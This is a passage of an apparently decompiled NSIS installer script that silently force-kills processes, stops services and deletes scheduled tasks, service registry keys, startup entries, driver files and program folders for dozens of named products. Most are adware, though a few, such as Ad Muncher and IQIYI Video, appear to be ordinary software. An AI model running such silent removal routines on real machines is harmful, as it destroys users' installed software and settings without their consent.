; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Rerun service for advPlugin$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
Sleep 3000
RMDir /r /REBOOTOK $TEMP\advPlugin_restartonfail_exe
RMDir /r /REBOOTOK $PROGRAMFILES\advPlugin
label_16358:
IfFileExists "$PROGRAMFILES\VK OK AdBlock" 0 label_16381
StrCpy $0 ""
FindFirst $0 $R1 "$PROGRAMFILES\VK OK AdBlock\*.exe"
label_16361:
StrCmp $R1 "" label_16369
nsExec::Exec "cmd /k taskkill /IM $\"$R1$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"$R1$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
FindNext $0 $R1
Goto label_16361
label_16369:
FindClose $0
nsExec::ExecToStack "schtasks /delete /tn $\"Update Service for VK OK AdBlock$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Update Service for VK OK AdBlock$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"Update Service for VK OK AdBlock2$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Update Service for VK OK AdBlock2$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK "$PROGRAMFILES\VK OK AdBlock"
label_16381:
IfFileExists $PROGRAMFILES\IconRunner\MoneyBot* 0 label_16389
nsExec::Exec "cmd /k taskkill /IM $\"MoneyBot.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"MoneyBot.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
Delete /REBOOTOK $PROGRAMFILES\IconRunner\MoneyBot*
Delete /REBOOTOK $PROGRAMFILES\IconRunner\*.vbs
label_16389:
IfFileExists "$PROGRAMFILES\Youtube AdBlock" 0 label_16414
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Service for Youtube AdBlock"
StrCpy $0 ""
FindFirst $0 $R1 "$PROGRAMFILES\Youtube AdBlock\*.exe"
label_16393:
StrCmp $R1 "" label_16401
nsExec::Exec "cmd /k taskkill /IM $\"$R1$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"$R1$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
FindNext $0 $R1
Goto label_16393
label_16401:
FindClose $0
nsExec::ExecToStack "schtasks /delete /tn $\"Update Service for Youtube AdBlock$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Update Service for Youtube AdBlock$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"Update Service for Youtube AdBlock2$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Update Service for Youtube AdBlock2$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
Sleep 3000
RMDir /r /REBOOTOK "$PROGRAMFILES\Youtube AdBlock"
label_16414:
IfFileExists "$PROGRAMFILES\Torrent Search" 0 label_16444
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Service for Torrent Search"
StrCpy $0 ""
FindFirst $0 $R1 "$PROGRAMFILES\Torrent Search\*.exe"
label_16418:
StrCmp $R1 "" label_16426
nsExec::Exec "cmd /k taskkill /IM $\"$R1$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"$R1$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
FindNext $0 $R1
Goto label_16418
label_16426:
FindClose $0
nsExec::Exec "cmd /k taskkill /IM ExtensionUpdaterService.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ExtensionUpdaterService.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"Update Service for Torrent Search$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Update Service for Torrent Search$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"Update Service for Torrent Search2$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Update Service for Torrent Search2$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
Sleep 3000
RMDir /r /REBOOTOK "$PROGRAMFILES\Torrent Search"
label_16444:
IfFileExists $PROGRAMFILES\snipsmart 0 label_16446
RMDir /r /REBOOTOK $PROGRAMFILES\snipsmart
label_16446:
IfFileExists "$PROGRAMFILES\Object Browser" 0 label_16448
RMDir /r /REBOOTOK "$PROGRAMFILES\Object Browser"
label_16448:
IfFileExists "$PROGRAMFILES\Dolphin Deals" 0 label_16450
RMDir /r /REBOOTOK "$PROGRAMFILES\Dolphin Deals"
label_16450:
IfFileExists $PROGRAMFILES\HD-V2.2V06.10 0 label_16452
RMDir /r /REBOOTOK $PROGRAMFILES\HD-V2.2V06.10
label_16452:
IfFileExists $LOCALAPPDATA\Microsoft\Windows\system.vbs 0 label_16454
Delete /REBOOTOK $LOCALAPPDATA\Microsoft\Windows\system.vbs
label_16454:
IfFileExists $TEMP\RarSFX0 0 label_16456
RMDir /r /REBOOTOK $TEMP\RarSFX0
label_16456:
IfFileExists $APPDATA\MailUpdate\mailUpdate.exe 0 label_16459
DeleteRegKey HKLM SYSTEM\ControlSet001\services\mailUpdate
RMDir /r /REBOOTOK $APPDATA\MailUpdate
label_16459:
IfFileExists $APPDATA\luckysearches 0 label_16461
RMDir /r /REBOOTOK $APPDATA\luckysearches
label_16461:
IfFileExists "$PROGRAMFILES\HP Defender" 0 label_16464
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\HHandler Service"
RMDir /r /REBOOTOK "$PROGRAMFILES\HP Defender"
label_16464:
IfFileExists "$PROGRAMFILES\Steel Cut" 0 label_16466
RMDir /r /REBOOTOK "$PROGRAMFILES\Steel Cut"
label_16466:
IfFileExists "$PROGRAMFILES\COVERT Pro" 0 label_16468
RMDir /r /REBOOTOK "$PROGRAMFILES\COVERT Pro"
label_16468:
IfFileExists "$PROGRAMFILES\Swift Record" 0 label_16480
nsExec::Exec "cmd /k taskkill /IM 7za.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM 7za.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM SwiftRecord.BrowserAdapter.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM SwiftRecord.BrowserAdapter.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$PROGRAMFILES\Swift Record"
label_16480:
IfFileExists $PROGRAMFILES\XTab 0 label_16483
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\IHProtect Service"
RMDir /r /REBOOTOK $PROGRAMFILES\XTab
label_16483:
IfFileExists $PROGRAMFILES\PennyBee 0 label_16486
DeleteRegKey HKLM SYSTEM\ControlSet001\services\PennyBee
RMDir /r /REBOOTOK $PROGRAMFILES\PennyBee
label_16486:
IfFileExists $APPDATA\PennyBee 0 label_16488
RMDir /r /REBOOTOK $APPDATA\PennyBee
label_16488:
IfFileExists "$PROGRAMFILES\browse pulse" 0 label_16492
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Service Mgr browsepulse"
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Mgr browsepulse"
RMDir /r /REBOOTOK "$PROGRAMFILES\browse pulse"
label_16492:
IfFileExists "$PROGRAMFILES\Digital More" 0 label_16496
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Service Mgr DigitalMore"
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Mgr DigitalMore"
RMDir /r /REBOOTOK "$PROGRAMFILES\Digital More"
label_16496:
IfFileExists $SMSTARTUP\hqghumeaylnlf.lnk 0 label_16498
Delete $SMSTARTUP\hqghumeaylnlf.lnk
label_16498:
IfFileExists "$SMSTARTUP\MyPC Backup.lnk" 0 label_16500
Delete "$SMSTARTUP\MyPC Backup.lnk"
label_16500:
IfFileExists $DESKTOP\Setup_product_678.exe 0 label_16502
Delete $DESKTOP\Setup_product_678.exe
label_16502:
IfFileExists "$PROGRAMFILES\Application Assistance\ap.exe" 0 label_16510
nsExec::Exec "cmd /k taskkill /IM ap.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ap.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$PROGRAMFILES\Application Assistance"
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run ap
label_16510:
IfFileExists "$PROGRAMFILES\System Optimizer\SysOptLauncher.exe" 0 label_16518
nsExec::Exec "cmd /k taskkill /IM SysOptLauncher.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM SysOptLauncher.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$PROGRAMFILES\System Optimizer"
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run "System Optimizer"
label_16518:
IfFileExists $PROGRAMFILES\*PaceItUp 0 label_16527
StrCpy $0 ""
FindFirst $0 $R1 $PROGRAMFILES\*PaceItUp
label_16521:
StrCmp $R1 "" label_16526
IfFileExists $PROGRAMFILES\$R1 0 label_16524
RMDir /r /REBOOTOK $PROGRAMFILES\$R1
label_16524:
FindNext $0 $R1
Goto label_16521
label_16526:
FindClose $0
label_16527:
IfFileExists $PROGRAMFILES\PathMaxx 0 label_16529
RMDir /r /REBOOTOK $PROGRAMFILES\PathMaxx
label_16529:
IfFileExists $PROGRAMFILES\*SpeedCheck 0 label_16548
StrCpy $0 ""
FindFirst $0 $R1 $PROGRAMFILES\*SpeedCheck
label_16532:
StrCmp $R1 "" label_16547
IfFileExists $PROGRAMFILES\$R1 0 label_16545
nsExec::Exec "cmd /k taskkill /IM SpeedCheck.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM SpeedCheck.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM f4SpeedCheckU13.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM f4SpeedCheckU13.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES\$R1
label_16545:
FindNext $0 $R1
Goto label_16532
label_16547:
FindClose $0
label_16548:
IfFileExists $PROGRAMFILES\*CheckMeUp 0 label_16572
StrCpy $0 ""
FindFirst $0 $R1 $PROGRAMFILES\*CheckMeUp
label_16551:
StrCmp $R1 "" label_16566
IfFileExists $PROGRAMFILES\$R1 0 label_16564
nsExec::Exec "cmd /k taskkill /IM CheckMeUp.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM CheckMeUp.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM Y8CheckMeUpy32.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Y8CheckMeUpy32.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES\$R1
label_16564:
FindNext $0 $R1
Goto label_16551
label_16566:
FindClose $0
nsExec::ExecToStack "schtasks /delete /tn $\"CheckMeUp Update$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"CheckMeUp Update$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
label_16572:
IfFileExists "$PROGRAMFILES\Application Assistance\AppHelper.exe" 0 label_16579
nsExec::Exec "cmd /k taskkill /IM AppHelper.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM AppHelper.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$PROGRAMFILES\Application Assistance"
label_16579:
IfFileExists "$PROGRAMFILES\IQIYI Video" 0 label_16581
RMDir /r /REBOOTOK "$PROGRAMFILES\IQIYI Video"
label_16581:
IfFileExists "$APPDATA\IQIYI Video" 0 label_16583
RMDir /r /REBOOTOK "$APPDATA\IQIYI Video"
label_16583:
IfFileExists "$PROGRAMFILES\Ad Muncher" 0 label_16585
RMDir /r /REBOOTOK "$PROGRAMFILES\Ad Muncher"
label_16585:
IfFileExists $PROGRAMFILES\Senses\utils.exe 0 label_16587
RMDir /r /REBOOTOK $PROGRAMFILES\Senses
label_16587:
ClearErrors
ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Service Mgr DigitalMore" ImagePath
IfErrors label_16601
Push $2
Push ""
Push ""
Push $\"
Call :label_1606
Pop $2
Push $2
Call :label_1768
Pop $2
IfFileExists $2 0 label_16601
RMDir /r /REBOOTOK $2
label_16601:
ClearErrors
ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Update Mgr DigitalMore" ImagePath
IfErrors label_16615
Push $2
Push ""
Push ""
Push $\"
Call :label_1606
Pop $2
Push $2
Call :label_1768
Pop $2
IfFileExists $2 0 label_16615
RMDir /r /REBOOTOK $2
label_16615:
ClearErrors
ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Service Mgr browsepulse" ImagePath
IfErrors label_16629
Push $2
Push ""
Push ""
Push $\"
Call :label_1606
Pop $2
Push $2
Call :label_1768
Pop $2
IfFileExists $2 0 label_16629
RMDir /r /REBOOTOK $2
label_16629:
ClearErrors
ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Update Mgr browsepulse" ImagePath
IfErrors label_16643
Push $2
Push ""
Push ""
Push $\"
Call :label_1606
Pop $2
Push $2
Call :label_1768
Pop $2
IfFileExists $2 0 label_16643
RMDir /r /REBOOTOK $2
label_16643:
IfFileExists $PROGRAMFILES\LinkWiz_* 0 label_16677
StrCpy $0 0
label_16645:
EnumRegKey $1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $0
StrCmp $1 "" label_16677
IntOp $0 $0 + 1
ClearErrors
Push $1
Push LinkWiz
Call :label_405
Pop $R3
IfErrors label_16645
ReadRegStr $2 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayVersion
Push $2
Push .
Push _
Call func_179
Pop $3
DeleteRegKey HKLM SYSTEM\ControlSet001\services\lwsvc_$2
DeleteRegKey HKLM SYSTEM\ControlSet001\services\lwnfd_$2
System::Call kernel32::Wow64EnableWow64FsRedirection(i0)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i0)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\lwnfd_$3.sys 0 label_16669
Delete /REBOOTOK $SYSDIR\drivers\lwnfd_$3.sys
label_16669:
System::Call kernel32::Wow64EnableWow64FsRedirection(i1)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i1)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\lwnfd_$3.sys 0 label_16676
Delete /REBOOTOK $SYSDIR\drivers\lwnfd_$3.sys
label_16676:
RMDir /r /REBOOTOK $PROGRAMFILES\$1
label_16677:
IfFileExists $LOCALAPPDATA\skinapp 0 label_16695
nsExec::ExecToStack "taskkill /IM skinapp.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "taskkill /IM skinapp.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "taskkill /IM wstyle.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "taskkill /IM wstyle.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "taskkill /IM cssstyle.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "taskkill /IM cssstyle.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run skinapp
RMDir /r /REBOOTOK $LOCALAPPDATA\skinapp
label_16695:
IfFileExists $PROGRAMFILES\skinapp 0 label_16709
nsExec::ExecToStack "taskkill /IM wstyle.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "taskkill /IM wstyle.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "taskkill /IM cssstyle.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "taskkill /IM cssstyle.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
Sleep 2000
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run skinapp
RMDir /r /REBOOTOK $PROGRAMFILES\skinapp
label_16709:
IfFileExists $WINDIR\skinapp.sys 0 label_16711
Delete /REBOOTOK $WINDIR\skinapp.sys
label_16711:
IfFileExists $PROGRAMFILES\mystarttb 0 label_16718
nsExec::Exec "cmd /k taskkill /IM ToolbarCleaner.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ToolbarCleaner.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES\mystarttb
label_16718:
IfFileExists $APPDATA\EmailNotifier 0 label_16720
RMDir /r /REBOOTOK $APPDATA\EmailNotifier
label_16720:
IfFileExists $APPDATA\Mozilla\Extensions\jid1-n5ARdBzHkUEdAA@jetpack 0 label_16723
DeleteRegKey HKLM "SOFTWARE\Mozilla\Firefox\Extensions jid1-n5ARdBzHkUEdAA@jetpack"
RMDir /r /REBOOTOK $APPDATA\Mozilla\Extensions\jid1-n5ARdBzHkUEdAA@jetpack
label_16723:
IfFileExists "$PROGRAMFILES\Video Saver" 0 label_16746
DeleteRegKey HKLM SYSTEM\ControlSet001\services\VideoSaverSvc
nsExec::Exec "cmd /k taskkill /IM LocalServer.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM LocalServer.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM Service.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Service.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"Update Service for Video Saver$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Update Service for Video Saver$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"Update Service for Video Saver2$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Update Service for Video Saver2$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK "$PROGRAMFILES\Video Saver"
label_16746:
IfFileExists "$PROGRAMFILES\Video Saver 2" 0 label_16822
nsExec::Exec "cmd /k sc stop VideoSaverSvc"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k sc stop VideoSaverSvc"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k sc stop $\"State Tool for Video Saver$\""
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k sc stop $\"State Tool for Video Saver$\""
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k sc stop $\"Recovery Tool for Video Saver 2$\""
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k sc stop $\"Recovery Tool for Video Saver 2$\""
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM recover.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM recover.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM checker.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM checker.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM Service.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Service.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM Runner.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Runner.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM LocalServer.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM LocalServer.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
Sleep 3000
DeleteRegKey HKLM SYSTEM\ControlSet001\services\VideoSaverSvc
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\State Tool for Video Saver"
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Recovery Tool for Video Saver 2"
nsExec::ExecToStack "schtasks /delete /tn $\"Update Service for Video Saver 2$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Update Service for Video Saver 2$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"Update Service for Video Saver 22$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Update Service for Video Saver 22$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"Update Service for Video Saver2$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Update Service for Video Saver2$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"Update Service for Video Saver22$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Update Service for Video Saver22$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"Recovery Tool for Video Saver 2$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Recovery Tool for Video Saver 2$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"Recovery Tool for Video Saver 22$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Recovery Tool for Video Saver 22$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK "$PROGRAMFILES\Video Saver 2"
label_16822:
IfFileExists $PROGRAMFILES64\VideoPlugin 0 label_16872
IfFileExists $PROGRAMFILES64\VideoPlugin\BrowserService label_16826
IfFileExists $PROGRAMFILES64\VideoPlugin\FilterService label_16826
IfFileExists $PROGRAMFILES64\VideoPlugin\UpdateService 0 label_16872
label_16826:
nsExec::Exec "cmd /k sc stop VideoPlugin.BrowserService"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k sc stop VideoPlugin.BrowserService"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k sc stop VideoPlugin.FilterDriver"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k sc stop VideoPlugin.FilterDriver"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k sc stop VideoPlugin.FilterService"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k sc stop VideoPlugin.FilterService"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k sc stop VideoPlugin.UpdateService"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k sc stop VideoPlugin.UpdateService"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM VideoPlugin.BrowserService.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM VideoPlugin.BrowserService.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM VideoPlugin.FilterService.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM VideoPlugin.FilterService.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM VideoPlugin.FilterServer.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM VideoPlugin.FilterServer.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM VideoPlugin.UpdateService.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM VideoPlugin.UpdateService.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
Sleep 3000
DeleteRegKey HKLM SYSTEM\ControlSet001\services\VideoPlugin.BrowserService
DeleteRegKey HKLM SYSTEM\ControlSet001\services\VideoPlugin.FilterDriver
DeleteRegKey HKLM SYSTEM\ControlSet001\services\VideoPlugin.FilterService
DeleteRegKey HKLM SYSTEM\ControlSet001\services\VideoPlugin.UpdateService
RMDir /r /REBOOTOK $PROGRAMFILES64\VideoPlugin
label_16872:
IfFileExists $PROGRAMFILES\UPCleaner 0 label_16882
DeleteRegKey HKLM SYSTEM\ControlSet001\services\UGBroMon
DeleteRegKey HKLM SYSTEM\ControlSet001\services\UGProtect
DeleteRegKey HKLM SYSTEM\ControlSet001\services\UGSVC
nsExec::Exec "cmd /k taskkill /IM UGSvc.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM UGSvc.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES\UPCleaner
label_16882:
IfFileExists $LOCALAPPDATA\macasoft\ntsvc.exe 0 label_16884
RMDir /r /REBOOTOK $LOCALAPPDATA\macasoft
label_16884:
IfFileExists $PROGRAMFILES\GameXPService 0 label_16892
DeleteRegKey HKLM SYSTEM\ControlSet001\services\gamexpsvc
nsExec::Exec "cmd /k taskkill /IM gamexpsvc.exe /f"
; Call Initialize_____Plugins
